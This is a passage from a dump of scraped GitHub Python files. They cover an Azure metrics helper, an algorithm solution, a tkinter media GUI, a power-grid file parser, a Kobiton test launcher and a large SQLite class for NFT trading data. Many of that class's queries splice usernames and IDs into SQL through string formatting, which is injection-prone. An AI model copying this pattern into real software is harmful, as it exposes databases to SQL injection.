data['Layer'][classlist.index(entry)]['Datasource']\n\t\t\t\t\tbreak\n\t\tpp.pprint(datasource)\n","repo_name":"trump-fmi/stylesheet-label-finder","sub_path":"stylesheet-label-finder.py","file_name":"stylesheet-label-finder.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73403812306","text":"from azure.cosmos import CosmosClient\nimport os\n\nurl = os.environ['ACCOUNT_URI']\nkey = os.environ['ACCOUNT_KEY']\nclient = CosmosClient(url, credential=key)\ndatabase_name = \"getyourubccourse\"\ndatabase = client.get_database_client(database_name)\ncontainer_name = \"Metrics\"\ncontainer = database.get_container_client(container_name)\n\n#The Metrics container only contains one object \"metric\" that will hold all values \n#Further metrics can be added to this object in the Metric Container\nmetric = container.read_item(\"metric\",\"True\")\n\n\n# Returns the total amount of email notifications sent so far\ndef getTotalNotificationsSent():\n\treturn metric[\"totalNotifications\"]\n\n\n# Adds one to the total notifications sent\ndef addTotalNotificationsSent():\n\tmetric[\"totalNotifications\"] = metric[\"totalNotifications\"] + 1\n\tcontainer.upsert_item(metric)\n\n","repo_name":"felixwsiu/getyourubccourse","sub_path":"metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20089598981","text":"import sys\nimport bisect\ninput = sys.stdin.readline\n\nN = int(input())\narr = []\n\nfor i in range(N):\n arr.append(int(input()))\n\ndp = [arr[0]]\n\nfor i in range(1, N):\n if dp[-1] < arr[i]:\n dp.append(arr[i])\n else:\n j = bisect.bisect_left(dp, arr[i])\n dp[j] = arr[i]\n\nprint(N - len(dp))","repo_name":"alibreo3754/Study_Algorithm","sub_path":"Python/backjoon/gold/2631.py","file_name":"2631.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2857351380","text":"'''\nCreated on 15.06.2014\n\n@author: hontonoroger\n'''\n\nimport os\nimport tkinter as tk\nimport tkinter.ttk as ttk\nfrom PIL import Image, ImageTk\nfrom cgitb import text\n\nclass GUI(object):\n '''\n classdocs\n '''\n\n\n def __init__(self, client):\n '''\n Constructor\n '''\n \n self._client = client\n \n # Main window\n root = tk.Tk()\n root.title(\"Medienverwaltung\")\n root.grid_rowconfigure(0, weight=1)\n root.grid_columnconfigure(0, weight=1)\n root.grid_columnconfigure(1, weight=2)\n \n # Menu\n topmenu = tk.Menu(root, title='Menu')\n topmenu.add_cascade(label='Datei')\n \n listmenu = tk.Menu(topmenu)\n topmenu.add_cascade(label='Liste', menu=listmenu)\n listmenu.add_command(label='Aktualisieren', command=self.refresh_medialist)\n root.config(menu=topmenu)\n \n # Search bar\n tk.Label(root, text='Search for:').grid(row=0, column=8, sticky='ne')\n tk.Entry(root, width=50).grid(row=0, column=9, columnspan=3, sticky='ne')\n \n # Directory Browser\n treecontainer = tk.Frame(root).grid(row=1, column=0, sticky='nw')\n self.tree = ttk.Treeview(treecontainer)\n ysb = ttk.Scrollbar(treecontainer, orient='vertical', command=self.tree.yview)\n xsb = ttk.Scrollbar(treecontainer, orient='horizontal', command=self.tree.xview)\n self.tree.configure(yscroll=ysb.set, xscroll=xsb.set)\n self.tree.heading('#0', text='Path', anchor='nw')\n\n abspath = os.path.abspath('.') #TODO set to servers content path \n treecontainer_node = self.tree.insert('', 'end', text=abspath, open=True)\n self.process_directory(treecontainer_node, abspath)\n\n self.tree.grid(row=1, column=0, sticky='nsew')\n ysb.grid(row=1, column=0, sticky='ens')\n xsb.grid(row=1, column=0, sticky='sew')\n \n # Media listing \n self._media_listing = ttk.Treeview(root, columns=['Typ', 'Name', 'Genre', 'Länge', 'Size'])\n self._media_listing.heading('#0', text='#')\n self._media_listing.heading('#1', text='Typ')\n self._media_listing.heading('#2', text='Name')\n self._media_listing.heading('#3', text='Genre')\n self._media_listing.heading('#4', text='Länge')\n self._media_listing.heading('#5', text='Size')\n vsb = ttk.Scrollbar(orient=\"vertical\",\n command=self._media_listing.yview)\n hsb = ttk.Scrollbar(orient=\"horizontal\",\n command=self.tree.xview)\n self.tree.configure(yscrollcommand=vsb.set,\n xscrollcommand=hsb.set)\n self._media_listing.grid(row=1, column=1, columnspan=11, sticky='ne')\n \n # Thumbnail\n image = Image.open(\"files/noimage.jpeg\")\n thumbnail = ImageTk.PhotoImage(image)\n tk.Label(root, image=thumbnail).grid(row=2, rowspan=3, column=0, sticky='nsew')\n \n # Details section\n details_group = tk.LabelFrame(root, text='Details').grid(row=2, rowspan=3, column=1, columnspan=10)\n tk.Label(details_group, text='Typ: ').grid(row=2, column=1, sticky='nw')\n tk.Label(details_group, text='').grid(row=2, column=2, sticky='nw')\n tk.Label(details_group, text='Name: ').grid(row=2, column=3, sticky='nw')\n tk.Label(details_group, text='').grid(row=2, column=4, sticky='nw')\n tk.Label(details_group, text='Genre: ').grid(row=2, column=5, sticky='nw')\n tk.Label(details_group, text='').grid(row=2, column=6, sticky='nw')\n tk.Label(details_group, text='Länge: ').grid(row=2, column=7, sticky='nw')\n tk.Label(details_group, text='').grid(row=2, column=8, sticky='nw')\n tk.Label(details_group, text='Größe: ').grid(row=2, column=9, sticky='nw')\n tk.Label(details_group, text='').grid(row=2, column=10, sticky='nw')\n tk.Label(details_group, text='Beschreibung: ').grid(row=3, column=1, sticky='sw')\n tk.Label(details_group, text='').grid(row=4, column=1, columnspan=10, sticky='nw')\n\n \n # Play button\n tk.Button(root, text=\"Add to Playlist\").grid(row=2, column=11, sticky='sew')\n play_image = Image.open(\"files/play.png\")\n play_image = ImageTk.PhotoImage(play_image)\n tk.Button(root, image=play_image).grid(row=3, rowspan=2, column=11, sticky='sew')\n\n root.mainloop()\n \n def process_directory(self, parent, path):\n for p in os.listdir(path):\n abspath = os.path.join(path, p)\n isdir = os.path.isdir(abspath)\n oid = self.tree.insert(parent, 'end', text=p, open=False)\n if isdir:\n self.process_directory(oid, abspath)\n \n def refresh_medialist(self):\n self._client.refresh_server_media()\n for medium_id, medium in self._client.get_server_media():\n current_medium = medium.return_list()\n self._media_listing.insert('', medium_id, text=current_medium[0],\n values=current_medium[1:])\n # TODO: in GUI-Liste einordnen\n \nif __name__ == '__main__':\n gui = GUI()","repo_name":"HontoNoRoger/media-management","sub_path":"client/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":5162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28801511052","text":"'''while True:\n command = input(\"Type 'exit' to exit: \")\n if command == 'exit':\n break\n'''\n\ntimes = int(input('How many times do i have to tell you'))\nfor i in range(times):\n print('Clean your room')\n if i >= 4:\n print('do you even listen')\n break","repo_name":"joelweber97/Python3_Bootcamp","sub_path":"break.py","file_name":"break.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34788501559","text":"import numpy as np\r\n\r\nbus_locs = {\"bus_num\": (1, 5), \"name\": (5, 19), \"area\": (19, 21), \"loss_zone\": (21, 24), \"type\": (25, 27), \r\n \"final_v\": (27, 33), \"final_delta\": (34, 41), \"load_mw\": (41, 50), \"load_mvar\": (50, 60), \"gen_mw\": (60, 68), \"gen_mvar\": (68, 75), \r\n \"base_kV\": (77, 84), \"v_desire\": (84, 91), \"q_max\": (91, 99), \"q_min\": (99, 106), \"shunt_g_pu\": (107, 115), \"shunt_b_pu\": (115, 123), \r\n \"remote_bus\": (124, 128)}\r\nbus_types = {\"bus_num\": int, \"name\": str, \"area\": int, \"loss_zone\": int, \"type\": int, \r\n \"final_v\": float, \"final_delta\": float, \"load_mw\": float, \"load_mvar\": float, \"gen_mw\": float, \"gen_mvar\": float, \r\n \"base_kV\": float, \"v_desire\": float, \"q_max\": float, \"q_min\": float, \"shunt_g_pu\": float, \"shunt_b_pu\": float, \r\n \"remote_bus\": int}\r\n\r\nbranch_locs = {\"tap_bus\": (1, 5), \"Z_bus\": (6,9), \"area\": (10, 13), \"loss_zone\": (13, 15), \"circuit\": (16, 18), \"type\": (18, 21), \r\n \"r_pu\": (20, 29), \"x_pu\": (30, 40), \"b_pu\": (41, 50), \"line_MVA_1\": (51, 55), \"line_MVA_2\": (57, 61), \"line_MVA_3\": (63, 67), \r\n \"control_bus\": (69, 72), \"side\": (73, 75), \"tap_ratio_final\": (77, 82), \"phase_shift\": (84, 90), \"tap_min\": (90, 97), \"tap_max\": (98, 104), \r\n \"step_size\": (106, 111), \"min_V/MVA\": (112, 117), \"max_V/MVA\": (119, 125)}\r\nbranch_types = {\"tap_bus\": int, \"Z_bus\": int, \"area\": int, \"loss_zone\": int, \"circuit\": int, \"type\": int, \r\n \"r_pu\": float, \"x_pu\": float, \"b_pu\": float, \"line_MVA_1\": float, \"line_MVA_2\": float, \"line_MVA_3\": float, \r\n \"control_bus\": int, \"side\": int, \"tap_ratio_final\": float, \"phase_shift\": float, \"tap_min\": float, \"tap_max\": float, \r\n \"step_size\": float, \"min_V/MVA\": float, \"max_V/MVA\": float}\r\n\r\ndef get_vals(data_row, data_locs, data_types): \r\n data = {}\r\n for (name, val), (_, dtype) in zip(data_locs.items(), data_types.items()): \r\n str_val = dtype(data_row[val[0] : val[1]].strip())\r\n data[name] = str_val\r\n return data\r\n\r\ndef get_item_dict(filename): \r\n idx_bus_start = 2\r\n with open(filename) as f: \r\n lines = []\r\n for line in f: \r\n lines.append(line.rstrip())\r\n\r\n date_line = lines[0]\r\n S_base = float(date_line[30:38].strip())\r\n bus_data_info = lines[1]\r\n N_buses = int(bus_data_info[-14:].strip()[:-6]) # Experimental \r\n\r\n bus_data = []\r\n for i, line in enumerate(lines[2:N_buses+2]):\r\n bus_data.append(get_vals(line, bus_locs, bus_types))\r\n\r\n idx = N_buses + 2 + 1 \r\n branch_data_info = lines[idx]\r\n N_branches = int(branch_data_info[-14:].strip()[:-6]) # Experimental \r\n\r\n branch_data = []\r\n for i, branch in enumerate(lines[idx+1 : idx+1+N_branches]):\r\n branch_data.append(get_vals(branch, branch_locs, branch_types))\r\n\r\n # Collect data in one dict for bus and branch\r\n bus_final = {name: [] for name in bus_data[0]}\r\n for bus in bus_data: \r\n for key in bus: \r\n bus_final[key].append(bus[key])\r\n\r\n branch_final = {name: [] for name in branch_data[0]}\r\n for branch in branch_data: \r\n for key in branch: \r\n branch_final[key].append(branch[key])\r\n\r\n for name in bus_final: \r\n bus_final[name] = np.array(bus_final[name])\r\n for name in branch_final: \r\n branch_final[name] = np.array(branch_final[name])\r\n \r\n return bus_final, branch_final, S_base","repo_name":"emelf/simplepower","sub_path":"simplepower/Utils/import_grid_model.py","file_name":"import_grid_model.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"29170345026","text":"import MySQLdb\nimport openpyxl\n\nwb=openpyxl.load_workbook('cotenbook.xlsx')\nsheet = wb['sheet1']\n\nvals = {}\nidx = 4\ncur_theme = \"\"\nwhile (sheet.cell(idx, 2).value):\n temp = []\n for j in range(2,6):\n if sheet.cell(idx,j).value:\n temp.append(sheet.cell(idx,j).value)\n else:\n temp.append(\"\")\n\n if cur_theme != temp[0]:\n cur_theme = temp[0]\n vals[cur_theme] = [[temp[2],temp[3]]]\n else:\n vals[cur_theme].append([temp[2],temp[3]])\n idx += 1\n\nprint(vals)\n","repo_name":"tomoaki-azuma/scraping_coten","sub_path":"Book.py","file_name":"Book.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10354585880","text":"# Analysis of contaction space\n\nfrom sympy import Symbol, Matrix\nfrom sympy import diff, sin, cos\n\nfrom sympy import init_session\n\ninit_session()\n\nTa = Symbol(\"T_a\")\nTb = Symbol(\"T_c\")\nTc = Symbol(\"T_b\")\nTd = Symbol(\"T_d\")\n\nfa = Symbol(\"f_a\")\nfb = Symbol(\"f_b\")\nfc = Symbol(\"f_c\")\nfd = Symbol(\"f_d\")\n\nTheta = Matrix([[Ta, Tb], [Tc, Td]])\n\nf = Matrix([[fa, fb], [fc, fd]])\n\nprod = Theta * f * Theta ** (-1)\nprod_simple = simplify(prod)\n","repo_name":"hubernikus/motion_learning_direction_space","sub_path":"analytic/contraction_analysis.py","file_name":"contraction_analysis.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13786571274","text":"import sqlite3\nimport pandas as pd\n\ndb_path = \"niftyDB.db\"\n\n\nclass NiftyDB:\n def __init__(self, db_path=db_path):\n self.db_path = db_path\n self.conn = sqlite3.connect(db_path)\n self.conn.row_factory = sqlite3.Row\n self.c = self.conn.cursor()\n\n def __del__(self):\n self.conn.close()\n\n def close(self):\n self.conn.close()\n\n def vacuum(self):\n self.c.execute(\"VACUUM\")\n self.conn.close()\n\n def get_user_info(self, accountId=None, address=None, username=None):\n if address is not None:\n self.c.execute(\"SELECT * FROM users WHERE address=?\", (address,))\n elif accountId is not None:\n self.c.execute(\"SELECT * FROM users WHERE accountId=?\", (accountId,))\n elif username is not None:\n self.c.execute(\"SELECT * FROM users WHERE username=?\", (username,))\n result = self.c.fetchone()\n\n if result is None:\n return None, None, None\n else:\n return result['accountId'], result['address'], result['username']\n\n def insert_og_cybercrew(self, id, tokenId, seriesNumber, name, description, imageUrl,\n lastSalePrice, lastSaleTime, currentOwner):\n self.c.execute(\"INSERT INTO og_cybercrew VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (id, tokenId, seriesNumber, name, description, imageUrl,\n lastSalePrice, lastSaleTime, currentOwner))\n self.conn.commit()\n\n def insert_user_info(self, accountId, address, username, discord_username):\n self.c.execute(\"INSERT INTO users VALUES (?, ?, ?, ?)\", (accountId, address, username, discord_username))\n self.conn.commit()\n\n def insert_nft(self, nftId, nftData, tokenId, contractAddress, creatorEthAddress, name, amount, attributes,\n collectionId, createdAt, firstMintedAt, updatedAt, thumbnailUrl, mintPrice):\n self.c.execute(\"INSERT INTO nfts VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (nftId, nftData, tokenId, contractAddress, creatorEthAddress, name, amount, attributes,\n collectionId, createdAt, firstMintedAt, updatedAt, thumbnailUrl, mintPrice))\n self.conn.commit()\n\n def insert_traits(self, nftId, collectionId, traits):\n # Get the slug of the collection first\n slug = self.get_collection_slug(collectionId)\n trait_table = f\"traits_{slug}\"\n\n def insert_nft_stats(self, nftId, timestamp, hold_time, num_holders, whale_amount, top3, top5, avg_amount, median_amount):\n self.c.execute(\"INSERT INTO nft_stats VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)\", (nftId, timestamp, hold_time, num_holders,\n whale_amount, top3, top5, avg_amount, median_amount))\n self.conn.commit()\n\n def insert_collection_stats(self, collectionId, timestamp, volume, volume_usd, unique_holders):\n self.c.execute(\"INSERT INTO collection_stats VALUES (?, ?, ?, ?, ?)\", (collectionId, timestamp, volume,\n volume_usd, unique_holders))\n self.conn.commit()\n\n def update_nft_stats(self, nftId, timestamp, whale_amount, top3, top5, avg_amount, median_amount):\n query = f\"UPDATE nft_stats SET median_amount='{median_amount}', whale_amount='{whale_amount}', top3='{top3}', \" \\\n f\"top5='{top5}', avg_amount='{avg_amount}' WHERE nftId='{nftId}' AND timestamp='{timestamp}'\"\n self.c.execute(query)\n self.conn.commit()\n\n def insert_transaction(self, blockId, createdAt, txType, nftData, sellerAccount, buyerAccount, amount, price, priceUsd):\n #print(\"Inserting: \", blockId, createdAt, txType, nftData, sellerAccount, buyerAccount, amount, price, priceUsd)\n self.c.execute(\"INSERT INTO transactions VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (blockId, createdAt, txType, nftData, sellerAccount, buyerAccount, amount, price, priceUsd))\n self.conn.commit()\n\n def insert_order(self, collection, orderId, nftId, collectionId, nftData, ownerAddress, amount, fulfilledAmount, price, createdAt, snapshotTime):\n print(\"Inserting: \", orderId, nftId, collectionId, nftData, ownerAddress, amount, fulfilledAmount, price, createdAt, snapshotTime)\n query = (f\"INSERT INTO {collection + '_orders'} VALUES ('{orderId}', '{nftId}', '{collectionId}', '{nftData}', \"\n f\"'{ownerAddress}', '{amount}', '{fulfilledAmount}', '{price}', '{createdAt}', '{snapshotTime}')\")\n self.c.execute(query)\n self.conn.commit()\n\n def insert_discord_server_stats(self, serverId, serverName, timestamp, num_members, num_online):\n query = (f\"INSERT INTO discord_stats VALUES ('{serverId}', '{serverName}', '{timestamp}', '{num_members}', \"\n f\"'{num_online}')\")\n self.c.execute(query)\n self.conn.commit()\n\n def insert_paperhand_order(self, orderHash):\n query = (f\"INSERT INTO paperhands VALUES ('{orderHash}')\")\n self.c.execute(query)\n self.conn.commit()\n\n def insert_floor_price(self, nftId, floor_price, last_updated):\n query = (f\"INSERT INTO floor_prices VALUES ('{nftId}', '{floor_price}', '{last_updated}')\")\n self.c.execute(query)\n self.conn.commit()\n\n def insert_collection(self, collectionId, name, slug, creator, description, bannerUri, avatarUri, tileUri, createdAt, numNfts, layer):\n self.c.execute(\"INSERT INTO collections VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (collectionId, name, slug, creator, description, bannerUri, avatarUri, tileUri, createdAt, numNfts, layer))\n self.conn.commit()\n\n def get_old_floor_price(self, nftId):\n query = (f\"SELECT * FROM floor_prices WHERE nftId='{nftId}'\")\n self.c.execute(query)\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result['floor']\n\n def get_paperhand_order(self, orderHash):\n self.c.execute(\"SELECT * FROM paperhands WHERE orderHash=?\", (orderHash,))\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result\n\n def get_discord_server_stats(self, serverId):\n self.c.execute(\"SELECT * FROM discord_stats WHERE serverId=?\", (serverId,))\n result = self.c.fetchall()\n if result is None:\n return None\n else:\n return result\n\n def get_last_hold_time_entry(self, nftId):\n self.c.execute(\"SELECT * FROM nft_stats WHERE nftId=? ORDER BY timestamp DESC LIMIT 1\", (nftId,))\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result['timestamp']\n\n def get_first_sale(self, nftData):\n self.c.execute(\"SELECT * FROM transactions WHERE nftData=? AND txType='SpotTrade' ORDER BY createdAt LIMIT 1\", (nftData,))\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result['createdAt']\n\n def get_collection_slug(self, collectionId):\n self.c.execute(\"SELECT * FROM collections WHERE collectionId=?\", (collectionId,))\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result['slug']\n\n def check_if_block_exists(self, blockId):\n self.c.execute(\"SELECT * FROM transactions WHERE blockId=?\", (blockId,))\n result = self.c.fetchone()\n if result is None:\n return False\n else:\n return True\n\n def get_holder_stats(self, nftId):\n self.c.execute(f\"SELECT * FROM nft_stats WHERE nftId='{nftId}' ORDER BY timestamp\")\n result = self.c.fetchall()\n if result is None:\n return None\n else:\n return result\n\n def get_latest_saved_block(self):\n self.c.execute(\"SELECT * FROM transactions ORDER BY blockId DESC LIMIT 1\")\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result['blockId']\n\n def get_last_historical_price_data(self, currency):\n self.c.execute(\"SELECT * FROM historical_crypto_prices WHERE currency=? ORDER BY timestamp DESC LIMIT 1\", (currency,))\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result['timestamp']\n\n def get_historical_price(self, currency, timestamp, print_str=True):\n start = timestamp - 1000\n end = timestamp + 500\n query = f\"SELECT * FROM historical_crypto_prices WHERE currency='{currency}' AND timestamp \" \\\n f\"BETWEEN {start} AND {end} ORDER BY timestamp DESC\"\n if print_str:\n print(f\"Retrieving price for {currency} at {timestamp}\")\n #print(f\"Query: {query}\")\n self.c.execute(query)\n result = self.c.fetchone()\n if result is None:\n print(f\"No historical price data found for {currency} at {timestamp}\")\n return None\n else:\n return result['price']\n\n def get_all_nfts(self):\n self.c.execute(\"SELECT * FROM nfts\")\n result = self.c.fetchall()\n if result is None:\n return None\n else:\n return result\n\n def get_last_buyer_for_nft(self, nftData):\n query = f\"SELECT tx.buyerAccount AS accountId, buyer.address, buyer.username FROM transactions AS tx \" \\\n f\"LEFT JOIN users AS buyer ON tx.buyerAccount=buyer.accountId \" \\\n f\"WHERE nftData='{nftData}' ORDER BY createdAt DESC LIMIT 1\"\n self.c.execute(query)\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result\n\n\n def insert_historical_price_data(self, currency, dataFrame):\n for index in dataFrame.index:\n\n timestamp = (dataFrame['time'][index] - pd.Timestamp(\"1970-01-01\")) // pd.Timedelta('1s')\n datetime = dataFrame['time'][index].strftime('%Y-%m-%d %H:%M:%S')\n price = dataFrame['open'][index]\n self.c.execute(\"INSERT INTO historical_crypto_prices VALUES (?, ?, ?, ?)\",\n (timestamp, datetime, currency, price))\n print(f\"Inserted {timestamp} {datetime} | {currency}-USD: ${price}\")\n self.conn.commit()\n\n def get_nft_transactions(self, nftData):\n\n self.c.execute(f\"SELECT * FROM transactions WHERE nftData='{nftData}' ORDER BY blockId\")\n result = self.c.fetchall()\n if result is None:\n return None\n else:\n return result\n\n def get_nft_data(self, nft_id):\n # nftData has length of 66, tokenId+contractAddress has length of 109, nftId has length, 36\n if len(nft_id) == 66:\n self.c.execute(\"SELECT * FROM nfts WHERE nftData=?\", (nft_id,))\n elif len(nft_id) == 109:\n self.c.execute(\"SELECT * FROM nfts WHERE tokenId=?\", (nft_id[:66],))\n elif len(nft_id) == 36:\n self.c.execute(\"SELECT * FROM nfts WHERE nftId=?\", (nft_id,))\n result = self.c.fetchone()\n if result is None:\n return None\n elif len(result) == 0:\n return None\n else:\n return result\n\n\n def get_user_trade_history(self, accountId, nftData_List=None):\n query = \"SELECT transactions.*, nfts.nftData, nfts.nftId, nfts.name, buyer.username as buyer, seller.username as seller \" \\\n \"FROM transactions \" \\\n \"INNER JOIN nfts on transactions.nftData = nfts.nftData \" \\\n \"INNER JOIN users as buyer on transactions.buyerAccount = buyer.accountId \" \\\n \"INNER JOIN users as seller on transactions.sellerAccount = seller.accountId \" \\\n f\"WHERE (buyerAccount='{accountId}' OR sellerAccount='{accountId}') \" \\\n\n if nftData_List is not None:\n formatted_nftData_List = ', '.join(['\"%s\"' % w for w in nftData_List])\n query += f\" AND transactions.nftData in ({formatted_nftData_List})\"\n\n query += f\"ORDER BY transactions.blockId\"\n\n\n self.c.execute(query)\n result = self.c.fetchall()\n if result is None:\n return None\n else:\n return result\n\n def get_nft_trade_history(self, nft_id):\n nftData = self.get_nft_data(nft_id)['nftData']\n\n self.c.execute(f\"SELECT transactions.*, seller.username as seller, buyer.username as buyer FROM transactions \"\n f\"INNER JOIN users as seller ON transactions.sellerAccount = seller.accountId \"\n \"INNER JOIN users AS buyer ON transactions.buyerAccount = buyer.accountId \"\n f\"WHERE nftData='{nftData}'\")\n result = self.c.fetchall()\n if result is None:\n print(f\"No transactions found for {nft_id}\")\n return None\n else:\n return result\n\n def get_number_of_tx(self, nftData_List):\n formatted_nftData_List = ', '.join(['\"%s\"' % w for w in nftData_List])\n query = f\"SELECT * FROM transactions WHERE nftData in ({formatted_nftData_List})\"\n self.c.execute(query)\n result = self.c.fetchall()\n if result is None:\n return 0\n else:\n return len(result)\n\n def get_nft_collection_tx(self, collectionId):\n # Returns blockId, createdAt, txType, nftData, sellerAccount, buyerAccount, amount, price, priceUsd, nftData2, collectionId\n query = (\"SELECT tx.*, nfts.nftId, nfts.name FROM transactions AS tx \"\n \"INNER JOIN nfts ON nfts.nftData = tx.nftData \"\n f\"WHERE nfts.collectionId='{collectionId}' \"\n \"ORDER BY tx.blockId\")\n self.c.execute(query)\n result = self.c.fetchall()\n if result is None:\n return None\n else:\n return result\n\n def get_nft_price_at_time(self, nftId, timestamp):\n query = f\"SELECT * FROM nfts WHERE nftId='{nftId}' AND createdAt <= {timestamp} ORDER BY createdAt DESC\"\n self.c.execute(query)\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result['price']\n\n def get_collection_info(self, collectionId):\n query = f\"SELECT * FROM collections WHERE collectionId='{collectionId}'\"\n self.c.execute(query)\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result\n\n def get_orderbook_data(self, nftId, collection):\n # First, get the available snapshot times\n query = f\"SELECT orders.nftId, orders.snapshotTime from {collection + '_orders'} AS orders GROUP BY snapshotTime ORDER BY snapshotTime\"\n self.c.execute(query)\n snapshotTimes = self.c.fetchall()\n\n # Then, get the orderbook data\n query = \"SELECT users.username, orders.ownerAddress, orders.amount, orders.price, orders.orderId, orders.fulfilledAmount,\" \\\n f\" nfts.name, orders.nftId, orders.snapshotTime from {collection + '_orders'} AS orders \" \\\n \"INNER JOIN users ON orders.ownerAddress = users.address \" \\\n \"INNER JOIN nfts ON nfts.nftId = orders.nftId \" \\\n \"ORDER BY snapshotTime\"\n self.c.execute(query)\n result = self.c.fetchall()\n if result is None:\n return None\n else:\n return snapshotTimes, result\n\n def get_all_gamestop_nft_users(self, blockId=None):\n if blockId is None:\n query = f\"SELECT * from transactions GROUP BY buyerAccount ORDER BY buyerAccount\"\n else:\n query = f\"SELECT * from transactions WHERE blockId>{blockId} GROUP BY buyerAccount ORDER BY buyerAccount\"\n self.c.execute(query)\n result = self.c.fetchall()\n if result is None:\n return None\n else:\n return result\n\n def get_users_without_usernames(self):\n query = f\"SELECT *, LENGTH(username) AS user_length FROM users WHERE user_length=42\"\n self.c.execute(query)\n users = self.c.fetchall()\n if users is None:\n return None\n else:\n return users\n\n def get_last_collection_stats_timestamp(self, collectionId):\n query = f\"SELECT MAX(timestamp) AS timestamp FROM collection_stats WHERE collectionId='{collectionId}'\"\n self.c.execute(query)\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result['timestamp']\n\n def update_username(self, accountId, username):\n query = f\"UPDATE users SET username='{username}' WHERE accountId='{accountId}'\"\n self.c.execute(query)\n self.conn.commit()\n\n def get_tx_by_timestamp(self, timestamp_start, timestamp_end):\n query = f\"SELECT * FROM transactions WHERE createdAt>={timestamp_start} AND createdAt<={timestamp_end}\"\n self.c.execute(query)\n result = self.c.fetchall()\n if result is None:\n return None\n else:\n return result\n\n def get_collection(self, collectionId):\n query = f\"SELECT * FROM collections WHERE collectionId='{collectionId}'\"\n self.c.execute(query)\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result\n\n def get_collection_ids(self):\n query = f\"SELECT collectionId FROM collections ORDER BY createdAt DESC\"\n self.c.execute(query)\n result = self.c.fetchall()\n if result is None:\n return None\n else:\n return result\n\n def get_newest_collection(self):\n query = f\"SELECT * FROM collections ORDER BY createdAt DESC LIMIT 1\"\n self.c.execute(query)\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result\n\n def get_nfts_in_collection(self, collectionId):\n query = f\"SELECT * FROM nfts WHERE collectionId='{collectionId}'\"\n self.c.execute(query)\n result = self.c.fetchall()\n if result is None:\n return None\n else:\n return result\n\n def get_all_nftdatas(self):\n query = f\"SELECT nftData FROM nfts\"\n self.c.execute(query)\n result = self.c.fetchall()\n if result is None:\n return None\n else:\n return result\n\n def update_num_nfts_in_collection(self, collectionId, numNfts):\n query = f\"UPDATE collections SET numNfts={numNfts} WHERE collectionId='{collectionId}'\"\n self.c.execute(query)\n self.conn.commit()\n\n def get_loopingu_rarity(self, number):\n query = f\"SELECT * FROM loopingu_rarity WHERE number='{number}'\"\n self.c.execute(query)\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result\n\n def get_nft_by_name(self, name):\n query = f\"SELECT * FROM nfts WHERE name='{name}'\"\n self.c.execute(query)\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result\n\n def get_nft_owner(self, nftData):\n query = f\"SELECT * FROM transactions WHERE nftData='{nftData}' ORDER BY createdAt DESC LIMIT 1\"\n self.c.execute(query)\n result = self.c.fetchone()\n if result is None:\n return None\n else:\n return result['buyerAccount']\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"pandapwr/Gamestop_NiFTy_Tools","sub_path":"nifty_database.py","file_name":"nifty_database.py","file_ext":"py","file_size_in_byte":19667,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"38126006000","text":"import requests\nimport json\nimport base64\n\nusername = ''\napiKey = ''\n\nencodeAuth = 'Basic ' + (base64.b64encode((username + ':' + apiKey).encode('utf-8'))).decode('utf-8')\n\nurl = 'https://api.kobiton.com/hub/session'\n\nconfiguration = {\n 'configuration': {\n 'sessionName': 'Automation test session',\n 'sessionDescription': 'This is an example for XCUITest testing',\n 'deviceName': '',\n 'platformVersion': '',\n 'deviceGroup': 'KOBITON',\n 'app': 'https://kobiton-devvn.s3-ap-southeast-1.amazonaws.com/apps-test/XCUITestSample.ipa',\n 'testRunner': 'https://kobiton-devvn.s3-ap-southeast-1.amazonaws.com/apps-test/XCUITestSampleUITestRunner.ipa',\n 'testFramework': 'XCUITEST',\n 'sessionTimeout': 30,\n\n # The user can specifically test running via testPlan or tests\n # If the testPlan and tests are set, the test framework will auto-select the testPlan first\n 'tests': [],\n 'testPlan': 'https://kobiton-devvn.s3-ap-southeast-1.amazonaws.com/apps-test/sample.xctestplan'\n }\n}\n\nconfiguration_str = json.dumps(configuration)\nheaders = {\n 'Content-Type': 'application/json',\n 'Authorization': encodeAuth,\n 'Accept':'application/json'\n}\n\nresponse = requests.request('POST', url, headers=headers, data = 